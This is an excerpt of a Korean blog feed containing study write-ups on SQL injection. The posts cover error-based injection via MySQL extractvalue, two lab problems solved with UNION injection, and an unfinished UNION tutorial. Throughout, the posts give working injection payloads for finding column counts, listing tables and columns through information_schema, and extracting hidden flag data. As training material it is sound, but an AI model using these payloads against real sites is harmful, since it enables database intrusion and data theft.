<p>실행 결과를 바탕으로 다른 문구를 출력해주는 페이지이기 때문에 <code>UNION SQL Injection</code> 을 활용하기는 어렵겠네요</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/31306201-2a4f-48c0-a740-1f01f1863300/image.png" alt=""></p>
<p>그렇지만 이렇게 SQL 에러가 발생했을 때, 에러 메세지를 화면에 출력하고 있습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/aaaeedec-1e17-49a3-a330-1f4ac7f5df00/image.png" alt=""></p>
<p>SQL 에러 중 이렇게 에러가 발생한 부분을 화면에 직접적으로 출력하는 부분도 있습니다</p>
<p>그럼 네모 친 부분에 SQL 쿼리를 작성하면 어떻게 될까요?</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a, (select &#39;test&#39;))) and &#39;1&#39;=&#39;1</code> 를 검색하였더니</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/c33d3da7-cbca-4937-9797-ec4b83b35663/image.png" alt=""></p>
<p>이런 결과가 나왔습니다</p>
<p><code>select &#39;test&#39;</code> 부분이 실행된 결과가 화면에 출력되어 나왔네요</p>
<p>이렇게 SQL 에러 메세지에 SQL문이 실행된 결과가 포함되어 나오는 경우를 활용해, 다른 데이터를 추출하는 공격이 Error Based SQL Injection 입니다</p>
<hr>
<h3 id="error-based-sqli의-에러-조건">Error Based SQLi의 에러 조건</h3>
<p>Error Based SQLi의 에러 조건은 아래와 같습니다</p>
<blockquote>
<p>1️⃣ SQL 에러
2️⃣ 로직 에러</p>
</blockquote>
<h4 id="1️⃣-sql-에러">1️⃣ SQL 에러</h4>
<p>우선 php 등 서버 측 코드가 실행되다가 발생하는 에러가 아닌, SQL문이 실핻되다가 발생하는 에러여야 한다
그래야 우리가 삽입한 SQL문의 결과가 포함된 에러메세지를 볼 수 있기 때문이다</p>
<h4 id="2️⃣-로직-에러">2️⃣ 로직 에러</h4>
<p>에러에는 로직 에러와 문법 에러가 있습니다</p>
<p>문법 에러 (ex. <code>select &#39;normaltic</code> )는 삽입한 SQL문이 실행되기 전에 발생하는 에러이기 때문에 우리가 원하는 결과를 받을 수 없으니,</p>
<p>문법적으로는 문제가 없되 논리적인 오류가 발생하도록 만들어 우리가 삽입한 SQL문이 실행된 이후에 에러메세지가 출력되도록 해야 합니다</p>
</br>

<p>** 로직 에러 유발 팁 **</p>
<p>SELECT 문의 실행 결과를 어떻게 에러메세지에 포함시킬 수 있을 지 고민해야하며, 이건 DB마다 다릅니다</p>
<p>MySQL의 경우 <code>extractvalue</code> 를 활용해 볼 수 있습니다</p>
<hr>
<h3 id="error-based-sql-injection-단계">Error based SQL injection 단계</h3>
<p>아이디 중복 페이지에서의 데이터 추출 문제를 간단히 풀어보며 Error based SQL injection의 단계를 알아보겠습니다</p>
<h4 id="1️⃣-sql-injection-포인트-찾기">1️⃣ SQL Injection 포인트 찾기</h4>
<p>SQL Injection이 가능한 곳인지 먼저 확인해 봅니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/03a2453a-000c-49eb-b395-4bf92f503f9e/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/ab44ac37-0628-42ab-8ebd-a2d9fe26cb82/image.png" alt=""></p>
<p>존재하는 아이디만 정상적으로 검색했을 때와 <code>and &#39;1&#39;=&#39;1</code> 을 붙여 검색했을 때 모두 아이디가 존재한다고 나오는 것을 보아, SQL 인젝션이 가능한 곳 같습니다</p>
<p>그렇지만 SQL 결과 데이터가 직접적으로 출력되지는 않으니, Error가 발생했을 때 에러메세지가 출력되는 지 확인해봅니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/30d60e90-4559-4060-8fa6-452b5ea09927/image.png" alt=""></p>
<p>에러메세지가 출력되고 있네요</p>
<p>Error based SQL Injection을 사용할 수 있는 곳입니다</p>
<h4 id="2️⃣-에러-출력-함수">2️⃣ 에러 출력 함수</h4>
<p>DB마다 에러를 출력하기 좋은 함수들은 다릅니다</p>
<p>이 문제는 MySQL이기 때문에 <code>extractvalue</code> 를 활용하겠습니다</p>
<blockquote>
<p>❓ extractvalue 함수
XML 데이터 값을 반환해 주는 함수로, extractvalue(XML 형식 데이터, XPATH 표현식) 형태로 활용한다
XPATH에 해당하는 XML 데이터를 추출해준다</p>
</blockquote>
<p><code>extractvalue</code> 의 두번째 파라미터인 XPATH 표현식을 잘못 썼을  때 에러가 발생하는 점을 이용합니다</p>
<h4 id="3️⃣-공격-format-만들기">3️⃣ 공격 format 만들기</h4>
<p>이제 공격 SQL 문을 집어넣을 수 있는 틀을 만듭니다</p>
<p>현재 서버에 작성되어 있는 쿼리문이 </p>
<p><code>select * from member where id = &#39;[입력값]&#39;</code> 이기 때문에 </p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(_SQL문_))) and &#39;1&#39;=&#39;1</code> 과 같은 포맷을 만듭니다</p>
<p><code>0x3a</code> 는 <code>:</code> 의 아스키코드 표현, <code>concat</code> 은 두 글자를 하나로 합쳐주는 함수로, </p>
<p>XPATH 오류를 위해 <code>:</code> 를 SQL문에 직접 붙여주면 SQL문이 실행될 수 없으니 concat으로 콜론을 붙여줍니다</p>
<h4 id="4️⃣-db-이름-찾기">4️⃣ DB 이름 찾기</h4>
<p>DB 이름은 <code>select database()</code> 로 찾습니다</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(select database()))) and &#39;1&#39;=&#39;1</code></p>
<p>미리 작성해둔 공격 포맷을 활용해 위 쿼리를 검색합니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/d5825ba2-ab9a-4add-ab7f-b02fbd460b9e/image.png" alt=""></p>
<p>DB 이름은 <strong>errSqli</strong> 네요</p>
<h4 id="5️⃣-table-이름-찾기">5️⃣ table 이름 찾기</h4>
<p>테이블 이름은 시스템 db를 이용해 <code>SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=errSqli</code> 로 찾습니다</p>
<p>역시나 공격 포맷에 넣으면</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=errSqli))) and &#39;1&#39;=&#39;1</code> 입니다</p>
<p>검색했더니 <code>Subquery returns more than 1 row</code> 라는 결과가 나오네요</p>
<p><code>limit</code> 함수를 이용해 하나씩 결과를 보겠습니다</p>
<ol>
<li><p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=&#39;errSqli&#39; limit 0,1))) and &#39;1&#39;=&#39;1</code> 의 결과는 <strong>flagTable</strong> 입니다</p>
</li>
<li></li>
</ol>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=&#39;errSqli&#39; limit 1,1))) and &#39;1&#39;=&#39;1</code> 의 결과는 <strong>member</strong> 입니다</p>
<ol start="3">
<li><p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=&#39;errSqli&#39; limit 2,1))) and &#39;1&#39;=&#39;1</code> 의 결과는 <strong>plusFlag_Table</strong> 입니다</p>
</li>
</ol>
<h4 id="6️⃣-column-이름-찾기">6️⃣ column 이름 찾기</h4>
<p>컬럼 이름은 <code>SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;[해당 테이블명]&#39;</code> 이렇게 찾습니다</p>
<p><strong>flagTable</strong>에 원하는 flag가 있을 가능성이 가장 커보이니 이 테이블의 컬럼을 살펴보겠습니다</p>
<ol>
<li><p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flagTable&#39; limit 0,1))) and &#39;1&#39;=&#39;1</code> 의 결과는 <strong>idx</strong> 입니다</p>
</li>
</ol>
<p>2.</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=&#39;flagTable&#39; limit 1,1))) and &#39;1&#39;=&#39;1</code> 의 결과는 <strong>flag</strong> 입니다</p>
<h4 id="7️⃣-데이터-추출하기">7️⃣ 데이터 추출하기</h4>
<p>그럼 테이블 명과 컬럼 명을 모두 알았으니 이걸 이용해 데이터를 추출해보겠습니다</p>
<p><code>normaltic&#39; and extractvalue(&#39;1&#39;, concat(0x3a,(select flag from flagTable))) and &#39;1&#39;=&#39;1</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/dd47a5bf-1822-4efb-bd16-5c7d946dc72b/image.png" alt=""></p>
<p>플래그가 등장했습니다</p>
<hr>
<p>이렇게 Error based SQL Injection과 그 방법에 대해 알아보았습니다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[SQL Injection 간단한 문제 풀어보기]]></title>
            <link>https://velog.io/@gyubin_yoon/SQL-Injection-%EA%B0%84%EB%8B%A8%ED%95%9C-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%96%B4%EB%B3%B4%EA%B8%B0</link>
            <guid>https://velog.io/@gyubin_yoon/SQL-Injection-%EA%B0%84%EB%8B%A8%ED%95%9C-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%96%B4%EB%B3%B4%EA%B8%B0</guid>
            <pubDate>Wed, 21 May 2025 08:54:02 GMT</pubDate>
            <description><![CDATA[<h2 id="1️⃣-sql-injection-1">1️⃣ SQL Injection 1</h2>
<h3 id="1-문제-탐색하기-sql-형태-구상">1. 문제 탐색하기 (SQL 형태 구상)</h3>
<p>문제는 아래와 같은 페이지에서 비밀 데이터를 찾아내는 것입니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/ca38c43c-d842-4a94-a747-3f72d48bcff2/image.png" alt=""></p>
<p>페이지를 관찰해보니 아이디를 검색해 해당 아이디의 정보를 보는 곳 같네요</p>
<p>저장된 데이터를 출력해야하니 DB를 활용하는 페이지입니다</p>
<p>숨겨져 있는 데이터를 찾아야 하니 UNION을 활용해 출력되지 않은 컬럼 또는 다른 테이블의 데이터를 뽑아보려 합니다</p>
<p>대충 보아하니 서버에 작성된 쿼리문은 <code>SELECT [컬럼들] FROM [테이블] WHERE [아이디 조건]</code> 의 형태일 듯 한데,</p>
<p>몇 가지 아이디 검색을 통해 조건 부분을 더 구체화 시켜 보도록 하겠습니다</p>
</br>

<ol>
<li><p>정확한 아이디 검색
: bello 라는 아이디를 하나 골라 정확히 검색해 보았습니다
<img src="https://velog.velcdn.com/images/gyubin_yoon/post/aa63bb92-f6a9-4a74-80a8-0dc57f6af81b/image.png" alt="">
결과가 잘 나오고 있네요</p>
</li>
<li><p>아이디 일부만 검색
: bello의 일부만 검색해서 조건부분이 어떻게 작성되어 있을지 추측해보려고 합니다.
be, ell, lo를 각각 검색해서 어떤 결과가 나오는 지 확인합니다
<img src="https://velog.velcdn.com/images/gyubin_yoon/post/34eb2baa-e7fd-40fa-a783-29442c380c97/image.png" alt="">
모두 똑같은 결과입니다
아마 조건절은 <code>WHERE 아이디 LIKE &#39;%[검색어]%&#39;</code> 형태일 듯 합니다</p>
</li>
</ol>
</br>

<p>그럼 서버에 작성된 SQL 문은 <code>SELECT [컬럼들] FROM [테이블] WHERE 아이디 LIKE &#39;%[검색어]%&#39;</code> 일 것 같네요</p>
<p>이걸 기반으로 비밀 데이터를 찾아보도록 하겠습니다</p>
<h3 id="2-컬럼-개수-확인하기">2. 컬럼 개수 확인하기</h3>
<p>UNION을 활용하려면 서버에 작성된 SELECT 쿼리와 컬럼 개수가 동일해야 하니, </p>
<p><code>ORDER BY</code> 를 이용해 컬럼 개수를 알아내도록 하겠습니다</p>
<p>아까 추측한 서버의 쿼리문이 <code>SELECT [컬럼들] FROM [테이블] WHERE 아이디 LIKE &#39;%[검색어]%&#39;</code> 이니,</p>
<p>여기서 <code>ORDER BY</code> 를 사용하려면, 검색어는 <code>%&#39; ORDER BY 인덱스#</code> 이 되어야 합니다</p>
<p><code>%&#39; ORDER BY 4#</code> 까지는 정상적으로 테이블이 출력되었지만, <code>%&#39; ORDER BY 5#</code> 에서는 아무 데이터가 출력되지 않았습니다</p>
<p>SELECT 쿼리문의 컬럼은 딱 4개인 듯 합니다</p>
<p>원래 출력되던 컬럼도 4개, SELECT 쿼리문의 컬럼 개수도 4개인 것으로 보아</p>
<p>우리가 출력해야 할 비밀 데이터는 다른 테이블에 있을 가능성이 커 보입니다</p>
<h3 id="3-출력되는-컬럼-위치-확인하기">3. 출력되는 컬럼 위치 확인하기</h3>
<p>2번에서 SELECT 문의 컬럼 개수가 4개인 것을 확인했으니, </p>
<p>이제 그 4개의 컬럼이 모두 출력되는 게 맞는 지 확인해보려고 합니다</p>
<p><code>%&#39; union select 1,2,3,4 #</code> 를 검색하고 결과를 확인해보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/502d2bcf-ad49-4ee7-8f6c-147ebd887449/image.png" alt=""></p>
<p>다 잘 출력되고 있네요</p>
<p>SELECT 문의 컬럼 4개는 모두 페이지에 출력이 되는 컬럼이었습니다</p>
<h3 id="4-db-이름-확인하기">4. DB 이름 확인하기</h3>
<p>DB에 어떤 테이블과 컬럼이 있는 지 알기 위해서는 DB의 이름을 알아야 합니다</p>
<p>DB 이름을 출력하는 명령은 <code>SELECT database()</code> 이므로</p>
<p><code>%&#39; union select database(), 2,3,4 #</code> 를 검색합니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/14f73699-b307-44cf-ba83-35b11e735c40/image.png" alt=""></p>
<p>DB 이름은 sqli_1인 것을 확인할 수 있었습니다</p>
<h3 id="5-테이블-이름-확인하기">5. 테이블 이름 확인하기</h3>
<p>이제 DB 안에 어떤 테이블이 있는지 확인해보겠습니다</p>
<p>테이블 명을 확인하려면 아래와 같은 SQL 쿼리를 작성해야 합니다</p>
<pre><code class="language-sql">SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = &#39;sqli_1&#39;</code></pre>
<p>그렇다면 아래와 같이 검색하면 되겠습니다</p>
<p><code>%&#39; UNION SELECT TABLE_NAME, 2, 3, 4 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = &#39;sqli_1&#39; #</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/a2ed3550-2986-41e5-89d8-90ca91d78975/image.png" alt=""></p>
<p>flag_table, plusFlag_Table, user_info 이렇게 세 개의 테이블이 있네요</p>
<p>우리는 flag를 찾아야 하니 flag_table과 plusFlug_Table을 살펴보도록 하겠습니다</p>
<h3 id="6-컬럼-이름-확인하기">6. 컬럼 이름 확인하기</h3>
<p>그럼 테이블 안에 어떤 컬럼이 있는지 알아보겠습니다</p>
<p><code>%&#39; UNION SELECT COLUMN_NAME, 2, 3, 4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = &#39;flag_table&#39; #</code> 을 검색한 결과를 볼까요?</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/b60187b0-53bb-4a45-8c8b-f17c045c684f/image.png" alt=""></p>
<p>flag라는 컬럼 1개가 있네요</p>
<p>그렇다면 plusFlag_Table에는 어떤 컬럼이 있는지 확인해볼까요?</p>
<p><code>%&#39; UNION SELECT COLUMN_NAME, 2, 3, 4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = &#39;plusFlag_Table&#39; #</code></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/5c354988-5f2e-485c-8b6c-8e2e99913207/image.png" alt=""></p>
<p>idx와 flag라는 컬럼이 있습니다</p>
<h3 id="7-데이터-추출하기">7. 데이터 추출하기</h3>
<p>테이블과 컬럼 이름을 모두 알았으니 이걸 바탕으로 검색을 해보겠습니다</p>
<p>우선 테이블 이름 상 flag_table에 flag가 있을 가능성이 가장 높아보이니, 이 테이블의 데이터를 추출해보겠습니다</p>
<p><code>%&#39; UNION SELECT flag, 2, 3, 4 FROM flag_table #</code> 를 검색해 보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/d9fc61fa-b184-4101-b158-c3e23e37021e/image.png" alt=""></p>
<p>flag가 나왔네요</p>
<p>이렇게 숨겨진 데이터를 추출하는 문제를 풀어보았습니다</p>
<hr>
<h2 id="2️⃣-sql-injection-2">2️⃣ SQL Injection 2</h2>
<h3 id="1-문제-탐색하기-sql-형태-구상-1">1. 문제 탐색하기 (SQL 형태 구상)</h3>
<p>먼저 SQL Injection 1의 페이지와 거의 똑같이 생겼지만, </p>
<p>검색을 하지 않았을 때는 아무런 데이터가 보이지 않고 검색창에 &#39;normaltic&#39;이라는 단어가 value 값으로 들어가 있습니다</p>
<p>주어진 정보를 활용해 normaltic을 검색해봅니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/5da2e698-9bbc-42e0-84d2-207665414b23/image.png" alt=""></p>
<p>일부만 검색해도 normaltic이라는 단어가 나오는 지 확인해보았더니,</p>
<p>DB에 저장된 정확한 단어를 검색해야 제대로 된 정보가 나오고 그렇지 않은 경우 검색한 단어가 그대로 출력됩니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/50ed5c8b-fd2d-4a81-ba5d-0acf7916ef84/image.png" alt=""></p>
<p>정확한 검색어를 입력한 경우 info 값을 찾아 출력해주고, </p>
<p>그렇지 않은 경우는 입력받은 검색어만 출력해주는 방식 같습니다</p>
<p>SQL 구조는 대충 아래와 같을 것으로 예상됩니다</p>
<p><code>SELECT [컬럼들] FROM [테이블] WHERE 아이디=&#39;[검색어]&#39;</code></p>
<h3 id="2-컬럼-개수-확인하기-1">2. 컬럼 개수 확인하기</h3>
<p><code>SELECT [컬럼들] FROM [테이블] WHERE 아이디=&#39;[검색어]&#39;</code></p>
<p>이 구조에서 몇 개의 컬럼이 select 되고 있는 지 알아보기 위해 <code>ORDER BY</code>를 활용해보겠습니다</p>
<p><code>a&#39; order by N #</code> 검색을 통해 6 개의 column이 select 되고 있는 것을 확인했습니다</p>
<h3 id="3-출력되는-컬럼-위치-확인하기-1">3. 출력되는 컬럼 위치 확인하기</h3>
<p>6개의 컬럼 중에 어떤 컬럼이 실제 페이지에 출력되고 있는 지 알아보기 위해,</p>
<p><code>a&#39; union select 1, 2, 3, 4, 5, 6 #</code> 을 검색합니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/b38ae16e-da34-43a9-b884-a4dcaa50f682/image.png" alt=""></p>
<p>6번 위치의 컬럼만 보이는 것을 알 수 있습니다</p>
<h3 id="4-db-이름-확인하기-1">4. DB 이름 확인하기</h3>
<p>그럼 이제 DB 이름을 확인해보겠습니다</p>
<p><code>a&#39; union select 1,2,3,4,5,database() #</code> 를 검색하니 <code>sqli_5</code> 라는 DB명을 발견했습니다</p>
<h3 id="5-테이블-이름-확인하기-1">5. 테이블 이름 확인하기</h3>
<p>그럼 <code>sqli_5</code> 에 어떤 테이블이 있는지 알아봅시다</p>
<p><code>a&#39; union SELECT 1,2,3,4,5,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = &#39;sqli_5&#39;#</code> 를 검색하니 <code>flag_honey</code> 라는 테이블이 있는 것을 발견했습니다</p>
<h3 id="6-컬럼-이름-확인하기-1">6. 컬럼 이름 확인하기</h3>
<p>그럼 찾은 테이블에 어떤 컬럼이 있는지 확인해 보겠습니다</p>
<p><code>a&#39; UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = &#39;flag_honey&#39; #</code> 를 검색하니 <code>flag</code> 라는 컬럼이 있는 것을 발견했습니다</p>
<h3 id="7-데이터-추출하기-1">7. 데이터 추출하기</h3>
<p>이제 남은 단계는 데이터 추출입니다</p>
<p><code>a&#39; union select 1,2,3,4,5,flag from flag_honey #</code> 를 검색했습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/a79bdb19-8959-4181-b281-ec71a4e26003/image.png" alt=""></p>
<p>앗 여기가 아니라고 하네요????</p>
<p>단계를 따라오면서 다른 DB나 테이블, 컬럼은 못 봤는데요...</p>
<p>생각해보니 딱 검색어에 대한 결과 1줄만 나오는 구조라 다른 데이터들이 있어도 2번째 줄 이상에 있다면 안 나왔을 것 같네요..</p>
<p>어디서부터 놓쳤는지 돌아가기 위해 다른 컬럼이 있었는지부터 알아보겠습니다</p>
<h3 id="8-숨겨진-데이터-찾기">8. 숨겨진 데이터 찾기</h3>
<p><code>a&#39; UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = &#39;flag_honey&#39; and COLUMN_NAME LIKE &#39;a%&#39; #</code></p>
<p>여기서 <code>COLUMN_NAME LIKE &#39;a%&#39;</code> 부분의 <code>a%</code> 를 a부터 z까지 돌려 다른 컬럼이 있나 찾아보았습니다</p>
<p><code>flag_honey</code> 테이블 안에 컬럼은 flag 밖에 없는 것 같네요</p>
<p>그럼 다른 테이블을 찾아 보겠습니다</p>
<p><code>a&#39; union SELECT 1,2,3,4,5,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = &#39;sqli_5&#39; and TABLE_NAME LIKE &#39;a%&#39;#</code></p>
<p>여기서 <code>TABLE_NAME LIKE &#39;a%&#39;</code> 부분의 <code>a%</code> 를 a부터 z까지 돌려 다른 테이블이 있나 찾아보았습니다</p>
<p><code>game_user</code> 와 <code>secret</code> 이라는 테이블을 추가로 발견했습니다</p>
<p><code>secret</code> 이 유력해보이니 이 테이블의 컬럼을 조사해봅니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/8d9a7881-5334-4630-8877-4e92563a7e61/image.png" alt=""></p>
<p>이 테이블에도 <code>flag</code> 라는 컬럼이 있어 데이터를 추출해보았습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/70edb652-95d9-4283-aadb-6ba2b2a58548/image.png" alt=""></p>
<p>여기도 아니라네요...</p>
<p>혹시 flag 값이 여러개는 아닌지 조사해봅시다</p>
<p><code>a&#39; union select 1,2,3,4,5,flag from secret order by 1 desc #</code> 를 검색하면 행의 순서가 내림차순으로 바뀝니다</p>
<p>만약 결과가 여러개였다면 info에 나타나는 데이터도 달라지겠죠?</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/aa3ee0c3-99ac-4b92-8610-f1e9416df2b3/image.png" alt=""></p>
<p>flag를 찾았습니다</p>
<p>이번 문제는 출력 데이터가 1개만 보이는 상황에서 여러개의 결과 값이 있는 상황을 찾아나가는 문제였네요</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[UNION SQL Injection]]></title>
            <link>https://velog.io/@gyubin_yoon/UNION-SQL-Injection</link>
            <guid>https://velog.io/@gyubin_yoon/UNION-SQL-Injection</guid>
            <pubDate>Tue, 13 May 2025 06:14:27 GMT</pubDate>
            <description><![CDATA[<p>SQL injection은 데이터를 사용하는 곳에서 작성된 SQL문에 다른 SQL문을 주입해 원하는 결과를 얻어내는 공격입니다</p>
<p>SQL injection에는 여러가지 방법이 있는데요,</p>
<p>이번엔 UNION을 활용한 SQL Injection을 알아보겠습니다</p>
<p>그럼 먼저 UNION이 무엇인지 알아보아야겠죠?</p>
<h3 id="🔎-union">🔎 UNION</h3>
<blockquote>
<p>여러 개의 SELECT문을 합쳐서 하나의 결과 테이블을 보여주는 방법</p>
</blockquote>
<p>UNION을 사용하는 방법은 아래와 같습니다</p>
<blockquote>
<p><strong>형태</strong>
SELECT [컬럼명1, 컬럼명 2 ...] FROM [table 명] WHERE [조건] <strong>UNION</strong> SELECT [컬럼명1, 컬럼명 2 ...] FROM [table 명] WHERE [조건]
<code>ex) SELECT id FROM member UNION SELECT pass FROM member</code></p>
</blockquote>
<p>그럼 실제로 union 쿼리를 실행해볼까요?</p>
<p>account라는 테이블의 username 컬럼과 1이라는 데이터를 합쳐서 보려고 하면 아래와 같이 sql 쿼리를 작성할 수 있습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/11ab2568-e8bf-48a1-8870-681ed9fe53a1/image.png" alt=""></p>
<p>이번엔 account 테이블의 username, name 컬럼과 &#39;haechan&#39;, &#39;이동혁&#39; 이라는 데이터를 합쳐서 보는 query를 작성해보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/136633fe-cebb-4365-8254-171c0ad57157/image.png" alt=""></p>
<p>이렇게 union은 여러개의 select 쿼리 실행결과를 합쳐서 보여줍니다</p>
</br>

<p>그런데 UNION에서 꼭‼️ 지켜야 할 것이 있습니다</p>
<p>UNION은 여러 개의 SELECT 쿼리 결과를 한 테이블의 형태로 합쳐서 보는 것이기 때문에 각 SELECT 문의 컬럼 개수가 일치해야 합니다</p>
<p>예를 들어서 2개의 SELECT 문을 UNION으로 합친다면</p>
<p><code>(SELECT ~ FROM ~ WHERE ~) UNION (SELECT ~ FROM ~ WHERE ~)</code> 의 UNION 앞 부분 SELECT 문의 컬럼 개수와 뒷 부분 컬럼 캐수가 일치해야 합니다</p>
<p><code>(SELECT [컬럼 1], [컬럼 2] FROM ~ WHERE ~) UNION (SELECT [컬럼 1], [컬럼 2] FROM ~ WHERE ~)</code></p>
<p>이렇게 말이에요</p>
<h3 id="🔎-order-by">🔎 ORDER BY</h3>
<p>UNION SQL Injection을 위해 알아야 하는 명령어가 한 가지 있습니다</p>
<p>바로 <code>ORDER BY</code> 인데요, 특정 column을 기준으로 정렬해주는 명령어입니다</p>
<p><code>ORDER BY</code>는 <strong>SELECT 문의 맨 뒤에 작성</strong>합니다</p>
<blockquote>
<p>SELECT [컬럼명 1], [컬럼명 2], ... FROM [테이블 명] WHERE [조건] <strong>ORDER BY</strong> [정렬 기준이 될 컬럼명]
<code>ex) SELECT id, pass FROM account ORDER BY id;</code></p>
</blockquote>
<p><code>ORDER BY [정렬 기준이 될 컬럼명]</code> 형태에서 [정렬 기준이 될 컬럼명] 대신 인덱스 번호로도 정렬할 수 있습니다</p>
<p>예를 들어 SELECT 할 컬럼이 2개 있고 그 중 첫번째 컬럼으로 정렬하고 싶다면 <code>ORDER BY 1</code> 과 같이 작성할 수 있습니다</p>
<p><code>SELECT id, pass FROM account ORDER BY 1;</code> 이렇게 작성하면 id 컬럼을 기준으로 정렬이 되는 것입니다</p>
<p>이제 정말 UNION SQL Injection에 대해 알아볼까요?</p>
<h3 id="🔎-union-sql-injection">🔎 UNION SQL Injection</h3>
<p>UNION SQL Injection은 왜 하는 걸까요?</p>
<p>서버에서 SELECT 문을 사용하는 곳의 쿼리문은 대체로 아래와 같은 형태일 것입니다</p>
<p><code>SELECT [컬럼] FROM [테이블] WHERE [조건]</code></p>
<p>그리고 우리가 SQL문을 주입할 수 있는 곳은 <code>[조건]</code> 부분입니다</p>
<p>즉, 우리는 이미 서버에 작성된 SQL문의 테이블을 벗어난 데이터를 조회할 수는 없습니다</p>
<p>그런데 UNION을 활용하면 SELECT 문을 뒷부분에 추가로 넣을 수 있게 되면서, </p>
<p>서버에 이미 작성된 테이블에서 벗어나 우리가 원하는 테이블의 데이터를 조회할 수 있게 됩니다</p>
</br>

<p>이번에는 웹 페이지에 데이터가 출력되는 경우(ex. 게시판)에 원하는 데이터를 출력하는 SQL Injection에 대해 알아보도록 하겠습니다</p>
<p>UNION SQL Injection에는 절차가 있습니다</p>
<p>이 절차에 따라 UNION SQL Injection을 시도해보도록 하겠습니다</p>
<h4 id="1-sql-injection-포인트-찾기">1. SQL Injection 포인트 찾기</h4>
<p>먼저 SQL Injection이 통하는 곳인지 알아야 합니다</p>
<p>입력창이 데이터베이스를 활용하지 않는 곳이라면 당연히 SQL Injection도 진행할 수 없습니다</p>
<p>내가 공격할 위치가 SQL 쿼리를 사용해야만 하는 곳일지 생각해 본 후, SQL Injection을 시도해야 합니다</p>
<p>SQL Injection을 사용할 수 있다면, 서버의 SQL 쿼리가 어떻게 작성되어 있을 지 형태를 구상해보아야 합니다</p>
<p>만약 검색창이라면, 여러가지 단어들을 검색하고 그 결과를 관찰하며 어떤 입력에서 어떤 결과가 나오는 지 확인하고</p>
<p>이를 바탕으로 쿼리문이 어떻게 구성되어 있을 지 추측합니다</p>
<p>예를 들어, 검색한 단어가 들어간 게임을 출력하는 게임 검색 창이 있다고 합시다</p>
<p>그렇다면 SQL 쿼리문이 아래와 같을 것으로 예상할 수 있습니다</p>
<pre><code class="language-sql">SELECT [게임 이름 컬럼], [기타 게임 관련 데이터 컬럼 등 ...] FROM [게임 정보 테이블] WHERE [게임이름컬럼] LIKE &#39;%[입력받은 검색어]%&#39;</code></pre>
<p>이제 이 추측한 쿼리문을 바탕으로 본격적인 UNION SQL Injection을 진행합니다</p>
<h4 id="2-order-by로-column-개수-찾기">2. ORDER BY로 column 개수 찾기</h4>
<p>앞에서 <strong>UNION은 각 SELECT 문끼리 추출되는 컬럼의 개수를 일치시키는 것이 중요</strong>하다고 하였습니다</p>
<p>우리는 UNION을 사용해 SQL Injection을 진행하기 때문에 서버에 작성되어 있는 쿼리문의 컬럼이 몇 개 인지 알아야 합니다</p>
<p>추측한 쿼리문을 다시 한번 살펴볼까요</p>
